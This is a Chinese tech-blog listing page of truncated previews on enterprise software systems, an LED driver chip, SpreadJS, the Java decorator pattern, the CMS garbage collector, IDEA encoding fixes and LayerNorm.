MES、ERP、SCM、WMS、APS、SCADA、PLM、QMS、CRM、EAM各个系统到底是什么意思? 今天一文就给大家分享! 在企业管理中,各种信息系统扮演着至关重要的角色,它们如同企业的神经系统,确保各个部分高效协同运作。MES(Manufacturing Execution System)制造执行系统,就如同工厂…

AP5101C 6-100V 2A LED降压恒流型的线性调光驱动器 台灯手电筒与汽车灯方案

产品描述 AP5101C 是一款高压线性LED恒流芯片,外围简单、内置功率管,适用于6-100V输入的高精度降压LED恒流驱动芯片。最大电流2.0A。 AP5101C 可实现内置MOS做2.0A, 外置MOS可做3.0A的。 AP5101C 内置温度保护功能,温度保护点为130度,温度达到130度时,输出电流慢慢减小,达…

SpreadJS 个人学习及项目遇到的一些问题的总结

最近公司有SpreadJS 的部分,刚接触挺迷茫的,因为这个文档有点不清晰,有些属性啥的,看到跟没看一样,他没有那种效果图例说明,属性说的就很简单,看了大半天感觉没看出来啥,等开始做的时候就各种问题,感谢有同事替我们负重前行,趟过了很多的坑,这导致比预期入手好很多,…

[设计模式]装饰者模式

抽象构件 public abstract class FastFood {public String desc;public int price;public abstract String getDesc();public abstract int getPrice();}具体构件 米饭 public class Rice extends FastFood {public Rice() {this.desc = "米饭";this.price = 10;}@Ov…

京东面试:说说CMS工作原理?

CMS(Concurrent Mark Sweep)垃圾收集器是以“最短的停顿”著称的垃圾回收器,因此也是 JDK 9 之前使用最广泛的垃圾回收器之一。那么,问题来了,为什么 CMS 能实现最短停顿时间?CMS 垃圾回收器的工作原理又是啥呢?接下来,我们一起来看。 CMS 工作原理 CMS 之所以能实现最…

处理idea中的properties中文乱码问题

如果遇到项目使用了prioperties格式的文件,别人拉取代码乱码,可以进行如下操作 另外的idea中 需要注意的是,请在编辑之前就进行设置

我愿称之为全网最通透的layernorm讲解(往下翻)

在我们平常面试和工程中会用到BN和LN,但或许没有去了解过BN和LN到底在那个维度上进行的正则化(减均值除以标准差)。下面将会采用各种例子来为大家介绍BN层和LN层各个参数以及差别。一、BatchNorm(批标准化):BatchNorm一共有三个函数分别是BatchNorm1d,BatchNorm2d,BatchN…